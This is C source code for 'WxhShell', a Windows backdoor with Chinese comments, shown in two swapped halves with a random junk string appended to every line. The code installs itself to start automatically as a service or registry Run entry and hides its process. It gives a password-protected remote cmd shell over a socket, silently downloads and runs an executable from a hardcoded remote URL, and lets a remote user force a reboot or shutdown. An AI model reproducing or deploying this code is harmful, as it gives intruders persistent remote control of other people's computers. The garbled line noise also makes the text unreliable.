    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~muIi#4  
    else { g6/N\[b%  
    closesocket(wsh); c]!D`FA*K  
    ExitThread(0); Q @OC=  
    } s.I1L?s1w?  
    break; 5v>{Z0TE[6  
    } Re,$<9V  
  // 获取shell t6g)3F7T  
  case 's': { w H_n$w  
    CmdShell(wsh); iraRB~  
    closesocket(wsh); -=t3O#  
    ExitThread(0); 1QF*e'  
    break; .m]=JC5'  
  } m`\i+  
  // 退出 PVS<QN%  
  case 'x': { ) 4L%zl7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V3A>Ag+^~  
    CloseIt(wsh); /$Tl#   
    break; Sd<@X@iU8D  
    } Fx[A8G  
  // 离开 rq(~/Yc  
  case 'q': { ,[}yf#8@J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c<h!QnJ  
    closesocket(wsh); Gz[ym j)5  
    WSACleanup(); e=n{f*KG`  
    exit(1); F`BgKH!  
    break; HLoQ}oK|K  
        } T:g4D z*2\  
  } X!#i@V  
  } 'K@{vB  
A?;8%00  
  // 提示信息 97]a-)SA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S-LZ(o{ZL  
} SC $`  
  } >SxZ9T|%  
@X|i@{<';  
  return; igj={==m  
} oF@x]bmU  
Q{l*62Bx  
// shell模块句柄 v<7Gln  
int CmdShell(SOCKET sock) D _bkUR1  
{ +{C9uY)$vf  
STARTUPINFO si; `J=1&ae{  
ZeroMemory(&si,sizeof(si)); >\?z37 :T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yf!*OGF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V^`?8P8d  
PROCESS_INFORMATION ProcessInfo; (+gL#/u  
char cmdline[]="cmd"; |:(23O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :B*vkwT  
  return 0; =(|xU?OL  
} C7jc6(> m  
JwI`"$ > w  
// 自身启动模式 ,na=~.0R:  
int StartFromService(void) N,/BudF o  
{ L'\/)!cEd  
typedef struct b,rH&+2H  
{ 2i7i\?<.  
  DWORD ExitStatus; s?@)a,C%k  
  DWORD PebBaseAddress; Tn@UX(^,  
  DWORD AffinityMask; }ED nLou  
  DWORD BasePriority; vlPl(F1  
  ULONG UniqueProcessId; ,\S pjE  
  ULONG InheritedFromUniqueProcessId; 0 .FHdJ<  
}   PROCESS_BASIC_INFORMATION; 1~R$$P11[9  
R*Xu( 89  
PROCNTQSIP NtQueryInformationProcess; 0tW<LR-}E  
Pn+IJ=0Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &'huS?g A9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J~iOP  
$/, BJ/9  
  HANDLE             hProcess; Y[ iDX#  
  PROCESS_BASIC_INFORMATION pbi; )H;pGM:  
@QVqpE<|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oTF^<I-C  
  if(NULL == hInst ) return 0; _^6|^PT.  
t":W.q<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a)_rka1(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uEScAeQXsI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'n l RY5@2  
7>'uj7r]=  
  if (!NtQueryInformationProcess) return 0; M q^|M~  
%Le:wC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j!lAxlOX  
  if(!hProcess) return 0; y^mWG1"O  
V\@jC\-5Vt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N ;Z`%&  
*?^Z)C>  
  CloseHandle(hProcess); Sg.+`xww3  
e$Xq    
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C5PmLiOHY>  
if(hProcess==NULL) return 0; 4-7kS85  
|RR%bQ^{  
HMODULE hMod; fjIcB+Z  
char procName[255]; _e?q4>B)c  
unsigned long cbNeeded; ]DC;+;8Jc  
I!$jYY2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ic[}V0dk  
49+ >f  
  CloseHandle(hProcess); i\=z'  
x7P([^i  
if(strstr(procName,"services")) return 1; // 以服务启动 Sc1+(z  
> $w^%I  
  return 0; // 注册表启动 Q;$ 9qOF  
} y:[BP4H?y  
}O,U2=Hw`]  
// 主模块 w~kHQ%A  
int StartWxhshell(LPSTR lpCmdLine) ioC@n8_[G  
{ ~Na=+}.q_  
  SOCKET wsl; a -xW8  
BOOL val=TRUE; "t[M'[ `C  
  int port=0; On{~St'V  
  struct sockaddr_in door; gohAp  
]ZzoJ7lr  
  if(wscfg.ws_autoins) Install(); $?FS00p*|X  
7$!`p,@we/  
port=atoi(lpCmdLine); AIZW@Nq.5  
"wA0 LH_  
if(port<=0) port=wscfg.ws_port;  20I4r  
a'@-"qk  
  WSADATA data; $uEJn&n7}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xw7{R  
PUbaS{J7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ''#p47$8<d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?mH@`c,fM  
  door.sin_family = AF_INET; ],;D2]<s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p+, 1Fi  
  door.sin_port = htons(port); cQ8dc+ {  
UI!6aVL.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _Ry_K3K  
closesocket(wsl); v~ ^ks{  
return 1; 6m4Te|  
} rr|"r  
j~M#Ss-H8  
  if(listen(wsl,2) == INVALID_SOCKET) { OSp?okV  
closesocket(wsl); 9pWi.J  
return 1; #F_'}?09%  
} FE/$(7rM  
  Wxhshell(wsl); zuUT S[  
  WSACleanup(); i]it5  
F\>oxttS1  
return 0; ZlthYuJ  
j((hqJr  
} \ ,>_c  
?VFM ]hO  
// 以NT服务方式启动 w[ Axs8N'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,LhE shf  
{ -#hK|1]  
DWORD   status = 0; Q]< (bD.7  
  DWORD   specificError = 0xfffffff; +"'F Be  
]]>nbgGn#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H76E+AY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }<vvxi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CV'&4oq  
  serviceStatus.dwWin32ExitCode     = 0; B,3 t`  
  serviceStatus.dwServiceSpecificExitCode = 0; 9'1hjd3k  
  serviceStatus.dwCheckPoint       = 0; D9ANm"#  
  serviceStatus.dwWaitHint       = 0; "$GK.MP5  
5^\m`gS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $fj])>=H  
  if (hServiceStatusHandle==0) return; I0!j<G  
EPc!p>  
status = GetLastError(); fD'/#sA#'  
  if (status!=NO_ERROR) UM<@t%|>  
{ m7JPH7P@BM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h ~ $&  
    serviceStatus.dwCheckPoint       = 0; K} +S+ *_  
    serviceStatus.dwWaitHint       = 0; 5N\+@grp  
    serviceStatus.dwWin32ExitCode     = status; 8KFj<N>'  
    serviceStatus.dwServiceSpecificExitCode = specificError; {={^6@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P3G:th@j=  
    return; aSUsyOe  
  } l1&5uwuF  
=M/qV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; : (cb2j(C  
  serviceStatus.dwCheckPoint       = 0; :3v9h^|+  
  serviceStatus.dwWaitHint       = 0; <nBo}0O}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PNf&@  
} Y+FP   
qYx!jA]O  
// 处理NT服务事件,比如:启动、停止 B$ui:R/ t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;TtaH  
{ XJUEwX  
switch(fdwControl) b7bSTFZxC  
{ bZ/ hgqS  
case SERVICE_CONTROL_STOP: h0|[etaf  
  serviceStatus.dwWin32ExitCode = 0; V{!lk]p}a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TZ'aNcGg  
  serviceStatus.dwCheckPoint   = 0; ^]VcxKUJ  
  serviceStatus.dwWaitHint     = 0; V"O 9n[|  
  { H.:9:I[n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KGu= ;  
  } `qE4U4  
  return; J;~E<_"Hn  
case SERVICE_CONTROL_PAUSE: N r<9u$d9=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TFO74^  
  break; i-b1d'?Rb  
case SERVICE_CONTROL_CONTINUE: CJp-Y}fGEA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZPl PN;J^1  
  break; Tw x{' S  
case SERVICE_CONTROL_INTERROGATE: H<,bq*@  
  break; hcyn  
}; }wfI4?}j}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^p,3)$  
} }t\ 10nQ  
?~,JY  
// 标准应用程序主函数 gwiR/(1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tv\HAK<N  
{ ~ 7}]  
ilv_D~|  
// 获取操作系统版本 >Fyu@u  
OsIsNt=GetOsVer(); zrrz<dW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :9`qogF>  
4`s)ue  
  // 从命令行安装 `y2ljIWJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); -bA!PeI  
Pg Syt  
  // 下载执行文件 Atd1qJ  
if(wscfg.ws_downexe) { RJx{eck%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zka?cOmYF[  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^sV|ck  
} .Vmtx  
+ 8f>^*:u  
if(!OsIsNt) { 2 5Q+1  
// 如果时win9x,隐藏进程并且设置为注册表启动 @V$I?iXV  
HideProc(); &$F[/[Ds+  
StartWxhshell(lpCmdLine); 3p_b8K_bG  
} z?kd'j`FG  
else \-OC|\{32  
  if(StartFromService()) D"cKlp-I6|  
  // 以服务方式启动 D^u\l  
  StartServiceCtrlDispatcher(DispatchTable); D-pX<0 -y  
else >! oF0R_<  
  // 普通方式启动 :G}DAUFN  
  StartWxhshell(lpCmdLine); Fj^AW v^/  
lUHtjr  
return 0; vL$|9|W(  
}  %}h`+L  
"y$ qrN-  
9#Y2`p T  
zmb@*/fK  
=========================================== p![&8i@ym  
J)*8|E9P  
s`c?:  
Hd 0Xx}3&  
Vv7PCaq  
Xhse~=qA  
" P>wZ~Hjk  
({e7U17[#  
#include <stdio.h>  2:'lZQ  
#include <string.h> (@q3^)I4  
#include <windows.h> )[jy[[K(  
#include <winsock2.h> g/#~N~&  
#include <winsvc.h> +9zA^0   
#include <urlmon.h> ~KRnr0  
~C| ,b"  
#pragma comment (lib, "Ws2_32.lib") E0YU[([G  
#pragma comment (lib, "urlmon.lib")  eu9w|g  
@6b[GekZ<  
#define MAX_USER   100 // 最大客户端连接数 Q>=-ext}q  
#define BUF_SOCK   200 // sock buffer *H" aOT^{  
#define KEY_BUFF   255 // 输入 buffer fK_~lGY(  
;Iq5|rzDn  
#define REBOOT     0   // 重启 6m+W#]^  
#define SHUTDOWN   1   // 关机 [))JX"a  
_2OuskL  
#define DEF_PORT   5000 // 监听端口 W 2<3C  
K/|  
#define REG_LEN     16   // 注册表键长度 .&iN(Bd  
#define SVC_LEN     80   // NT服务名长度 tpo>1|  
#ZWl=z5aBi  
// 从dll定义API ]fE3s{y &-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p=B?/Sqa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y(v_-6b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -B 9S}NPo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q- :4=vkn  
yW("G-Nm  
// wxhshell配置信息 Pm^lr!3p  
struct WSCFG { `W"G!X-  
  int ws_port;         // 监听端口 %S`ik!K"I  
  char ws_passstr[REG_LEN]; // 口令 jDTUXwx7V  
  int ws_autoins;       // 安装标记, 1=yes 0=no c~+l-GIWm  
  char ws_regname[REG_LEN]; // 注册表键名 "w&/m}E,[  
  char ws_svcname[REG_LEN]; // 服务名 jdM=SBy7q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S}cF0B1E*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Y3@"rdR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m}5q]N";x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i&&qbZt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5UO k)rOf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "8HE^Po/pn  
s$GF 95^  
}; Spgg+;9  
B 8{ uR  
// default Wxhshell configuration jczq `yW  
struct WSCFG wscfg={DEF_PORT, f xtxu?A>  
    "xuhuanlingzhe", o56kp3b)b  
    1, Ae49n4J  
    "Wxhshell", I4il R$jg  
    "Wxhshell", 3cC }'j  
            "WxhShell Service", 1[DS'S  
    "Wrsky Windows CmdShell Service", 0S.?E.-&0  
    "Please Input Your Password: ", zfjw;sUX  
  1, ?"j@;/=  
  "http://www.wrsky.com/wxhshell.exe", 9":2"<'+  
  "Wxhshell.exe" #ElejQ|?  
    }; >nry0 ;z0,  
"EH,J  
// 消息定义模块 l^r' $;<m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u+2Lm*M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2EfflZL3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "HC)/)Mv@  
char *msg_ws_ext="\n\rExit."; c7qwNs*f  
char *msg_ws_end="\n\rQuit."; [ H,u)8)  
char *msg_ws_boot="\n\rReboot..."; !8$RBD %  
char *msg_ws_poff="\n\rShutdown...";  YqU/\f+  
char *msg_ws_down="\n\rSave to "; JJ5C}`(  
frqJN  
char *msg_ws_err="\n\rErr!"; z*LiweR-  
char *msg_ws_ok="\n\rOK!"; hZN<Yd8:  
~G `J r  
char ExeFile[MAX_PATH]; C3S`}o.  
int nUser = 0; =.b Y#4  
HANDLE handles[MAX_USER]; $bGD%9 z  
int OsIsNt;  I=[cZ;t  
&&PgOFD  
SERVICE_STATUS       serviceStatus; 254~:eB0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %&<W(|U1<  
a)9rs\Is{  
// 函数声明 16$y`~c-z  
int Install(void); &p"(-  
int Uninstall(void); 3hS6j S  
int DownloadFile(char *sURL, SOCKET wsh); l h/&__  
int Boot(int flag); M<[ ?g5=#  
void HideProc(void); CgnXr/!L  
int GetOsVer(void); VXIQw' Cq  
int Wxhshell(SOCKET wsl); XP;x@I#l  
void TalkWithClient(void *cs); d+}kg  
int CmdShell(SOCKET sock); Zq*eX\#C  
int StartFromService(void); uA\J0"0; }  
int StartWxhshell(LPSTR lpCmdLine); \L[i9m|e  
5f{|"LG&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8R xc&`_X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #J$qa Ul  
M!{'ED  
// 数据结构和表定义 >5Lexj  
SERVICE_TABLE_ENTRY DispatchTable[] = n )K6i7]xk  
{ \!H{Ks{#R.  
{wscfg.ws_svcname, NTServiceMain}, B*@6xS[IL  
{NULL, NULL} Dg2uE8k  
}; 7>-yaL{  
%j{.0 H  
// 自我安装 QIV%6q+*R  
int Install(void) h^M^7S  
{ %^.P~s6  
  char svExeFile[MAX_PATH]; K{b-TT 4  
  HKEY key; @GG ccF  
  strcpy(svExeFile,ExeFile); 2c:f<>r0y  
&1Fply7(Ay  
// 如果是win9x系统,修改注册表设为自启动 l4ouZR  
if(!OsIsNt) { 8#f$rs(}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ax@H"d&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7co`Zw4}g  
  RegCloseKey(key); d^84jf.U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OD+5q(!"a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P(h5=0`*PR  
  RegCloseKey(key); 2p:r`THvS5  
  return 0; ;V.vfar  
    } r4;Bu<PQN1  
  } !T'X 'Q  
} ZBc|438[  
else { 8D~x\!(p\  
rt b*n~  
// 如果是NT以上系统,安装为系统服务 k dU! kj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X\sm[_I  
if (schSCManager!=0) V(mn yI  
{ +Me2U9  
  SC_HANDLE schService = CreateService (@&I_>2Q  
  ( $']VQ4tZ  
  schSCManager, 40K2uT{cq  
  wscfg.ws_svcname, =n0*{~r  
  wscfg.ws_svcdisp, xmH-!Da  
  SERVICE_ALL_ACCESS, \G;CQV#{9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7 g6RiH}  
  SERVICE_AUTO_START, 59!)j>f  
  SERVICE_ERROR_NORMAL, fLB1)kTS  
  svExeFile, 77We;a  
  NULL, UR3$B%i  
  NULL, o3h-=t  
  NULL, kx{!b3"  
  NULL, q)iTn)Z!  
  NULL X?df cS*!n  
  ); |}S1o0v{(a  
  if (schService!=0) t26ij`V  
  { ;f%|3-q1[  
  CloseServiceHandle(schService); p&3> `C  
  CloseServiceHandle(schSCManager); I/s.xk_i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J22r v(  
  strcat(svExeFile,wscfg.ws_svcname); '29WscU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . U/k<v<)6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G5c7:iGm/c  
  RegCloseKey(key); ~_PYNY`"  
  return 0; QIAR  
    } D ,M@8 h,  
  } 5py R ~+  
  CloseServiceHandle(schSCManager); KQ)T(mIqp  
} 8(A{;9^g  
} #T% zfcUj  
_413\`%8?  
return 1; xzk}[3P{  
} z="L4  
Y @}FL;3  
// 自我卸载 D4Sh9:\  
int Uninstall(void) uva\0q  
{ =`p&h}h-L  
  HKEY key; l$XA5#k  
Y'N'hRD  
if(!OsIsNt) { {;k_!v{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (cs~@  
  RegDeleteValue(key,wscfg.ws_regname); K`4GU[ul  
  RegCloseKey(key); > saI+u'o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GS%b=kc  
  RegDeleteValue(key,wscfg.ws_regname); dVGbe07  
  RegCloseKey(key); #nEL~&  
  return 0; /77z\[CeYH  
  } #x~_`>mDN  
}  _^T}_  
} -e*BqH2t  
else { v2J0u:#,  
Q!$IQJ]|Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;[Tyt[  
if (schSCManager!=0) \ X$)vK  
{ -P#nT 2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;.s: X  
  if (schService!=0) Kbas-</Si  
  { "DjU:*'  
  if(DeleteService(schService)!=0) { =Ahw%`/&}]  
  CloseServiceHandle(schService); v*r9j8  
  CloseServiceHandle(schSCManager); Z[} $n-V  
  return 0; "$8w.C  
  } &;v!oe   
  CloseServiceHandle(schService); gpAHC   
  } s*JE)  
  CloseServiceHandle(schSCManager); 3qo e^e  
} k18$JyaG  
} yWHne~!  
X47Ol  
return 1; V2Y$yV8g1  
} mo9$NGM&}  
;0j*>fb\q7  
// 从指定url下载文件  cht  
int DownloadFile(char *sURL, SOCKET wsh) 3h&bZ  
{ K-4tdC3  
  HRESULT hr; 0QoLS|voA/  
char seps[]= "/"; d@>\E/zA  
char *token; }ywi"k4>  
char *file; ./.=Rw  
char myURL[MAX_PATH]; WQt5#m; W  
char myFILE[MAX_PATH]; ragSy8M  
Dl\d_:+  
strcpy(myURL,sURL); Yy@g9mi  
  token=strtok(myURL,seps); /=ylQn3 *  
  while(token!=NULL) p&5S|![\  
  { JZ K7uB,X  
    file=token; xG%*PNM0q  
  token=strtok(NULL,seps); J @B4 R&V  
  } k4R4YI"jV  
1Z:R,\+L  
GetCurrentDirectory(MAX_PATH,myFILE); +/q0Y`v  
strcat(myFILE, "\\"); 76cEKHa<  
strcat(myFILE, file); -+P7:4/  
  send(wsh,myFILE,strlen(myFILE),0); .)`-Hkxa  
send(wsh,"...",3,0); b *9-}g:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `a'` $'j  
  if(hr==S_OK) a#QBy P  
return 0; 1S*P"8N}0h  
else ~4^p}{  
return 1; @1.9PR$x  
]fC7%"nB  
} o<J5!  
[ &daG:  
// 系统电源模块 STB-guia5  
int Boot(int flag) mJ$Htyr  
{ Tc_do"uU  
  HANDLE hToken; 6ZksqdP8  
  TOKEN_PRIVILEGES tkp; pqq?*\W&[v  
\HG$V>2  
  if(OsIsNt) { s##Ay{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]ymC3LV]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .K7C-Xn=  
    tkp.PrivilegeCount = 1; 6Ahr_{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7TdQRB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0||F`24  
if(flag==REBOOT) { Ilef+V^qr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p`p?li  
  return 0; k<O y%+C  
} n?Zf/T  
else { Y)OBTX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M5u_2;3  
  return 0; _ n_sfT6)B  
} |."G?*  
  } h0XH`v  
  else { LE| <O  
if(flag==REBOOT) { f9F2U )  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m&cvU>lC  
  return 0; GLcd9|H  
}  ~me\  
else { * gHCy4u{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MCHOK=G  
  return 0; 4cB&Hk  
} *;X-\6  
} `sxN!Jj?  
p z @km  
return 1; xFX&9^Uk  
} ['t8C  
6KB^w0oA  
// win9x进程隐藏模块 /f]/8b g>  
void HideProc(void) K @C4*?P  
{ U2UyN9:6F  
:iEAUM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P'F~\**5  
  if ( hKernel != NULL ) g8v[)o(qd  
  { P4[]qbfd,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `:gYXeR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yU!GS-  
    FreeLibrary(hKernel); {\Ys@FF  
  } @E(P9zQ/zy  
+ Y;8~+  
return; _<2 RYXBC  
} }Az'Zu4 =  
Z+,CL/  
// 获取操作系统版本 gi 5XP]z  
int GetOsVer(void) Iy.mVtcsZ  
{ ZR6&AiL(Bj  
  OSVERSIONINFO winfo; %HVD^. V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 22'vm~2E  
  GetVersionEx(&winfo); & L'6KEahR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VH<e))5C  
  return 1; e3pnk =u  
  else nUqL\(UuY  
  return 0; ]Y=S  
} <b'1#Pd>0  
:ovt?q8">  
// 客户端句柄模块 {RJ52Gx(  
int Wxhshell(SOCKET wsl) }v&K~!*  
{ ( mt*y]p?  
  SOCKET wsh; `OBl:e  
  struct sockaddr_in client; g+3Hwtl  
  DWORD myID; W W35&mI)k  
}Q ;BQ2[  
  while(nUser<MAX_USER) L^x5&CCwk  
{ %VS 2M #f  
  int nSize=sizeof(client); c l9$g7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PMY~^S4O  
  if(wsh==INVALID_SOCKET) return 1; jVs(x  
X]MTaD.t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FF jRf  
if(handles[nUser]==0) p$XnOh  
  closesocket(wsh); Qqh^E_O  
else k1m'Ka-  
  nUser++; ^} tuP  
  } s*eyTm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }9 ?y'6l  
]An_5J  
  return 0; xjE7DCmA  
} ] .`_, IO  
k3#wLJ  
// 关闭 socket ZLuPz#  
void CloseIt(SOCKET wsh) +2El  
{ yE<,Z%J[n  
closesocket(wsh); oLd:3,p}  
nUser--; X= SG  
ExitThread(0); 8M~u_`6  
} vU7&'ca  
EFeAr@nj  
// 客户端请求句柄 A^t"MYX@  
void TalkWithClient(void *cs) R7,p ukK  
{ UL[uh@4  
z41D^}b  
  SOCKET wsh=(SOCKET)cs; AT-0}9z{  
  char pwd[SVC_LEN]; {x|MA(NO  
  char cmd[KEY_BUFF]; =8@RKG`>;  
char chr[1]; qA04Vc[2  
int i,j; ss*5.(y  
y1nP F&_  
  while (nUser < MAX_USER) { _E&U?>g+  
y&h~Oa?,;  
if(wscfg.ws_passstr) { VYHOk3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z rA Um  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8z?$t-DO  
  //ZeroMemory(pwd,KEY_BUFF); mcCB7<. e  
      i=0; w gmWo8  
  while(i<SVC_LEN) { yX`J7O{=  
eXc[3ceUr  
  // 设置超时 5R)[Ou.  
  fd_set FdRead; RZ<.\N (M  
  struct timeval TimeOut; ": nI_~q  
  FD_ZERO(&FdRead); =?^-P{:\?  
  FD_SET(wsh,&FdRead); ,Io0ZE>`V  
  TimeOut.tv_sec=8; NWeV>;lh9  
  TimeOut.tv_usec=0; 5%'o%`?i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nz}|%.GP"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w{~" ;[@  
1R*1BStc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QP'qG@j[:  
  pwd=chr[0]; 9OH.&g  
  if(chr[0]==0xd || chr[0]==0xa) { `..EQ BM  
  pwd=0; z_'dRw  
  break; \G]K,TG  
  } bKTqX[=  
  i++; Sio1Q0  
    } ykJ+%gla  
 z I(xSX@  
  // 如果是非法用户,关闭 socket 5[1@`6j   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .iN-4"_j1  
} vs* >onCf  
*13g <#$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w' .'Yu6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y(V&z"wk[  
 B$@1QG  
while(1) { .vN)A *  
uQO(?nCi  
  ZeroMemory(cmd,KEY_BUFF); /@6E3lh S  
P>>f{3e.  
      // 自动支持客户端 telnet标准   :vw0r`  
  j=0; 1<;\6sg  
  while(j<KEY_BUFF) { SlR7h$r'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?56~yQF/2  
  cmd[j]=chr[0]; |C^ c0  
  if(chr[0]==0xa || chr[0]==0xd) { tWcizj;?wK  
  cmd[j]=0; ^ sS>Mts  
  break; w{RNv%hJ$=  
  } r4;^c}  
  j++; O 0Vn";Q 4  
    } )j]gm i"  
V|+ `L-  
  // 下载文件  F|DR  
  if(strstr(cmd,"http://")) { <Sz>ZIISd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )r-T=  
  if(DownloadFile(cmd,wsh)) *xEI Zx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CX1L(Y[  
  else ^- u[q- !  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5`(((_Um+  
  } U+(Z#b(Q  
  else { b5lk0jA  
oH!$eAU?  
    switch(cmd[0]) { `i"$*4#<  
  #FrwfJOV  
  // 帮助 C3&17O6  
  case '?': { "bv,I-\  
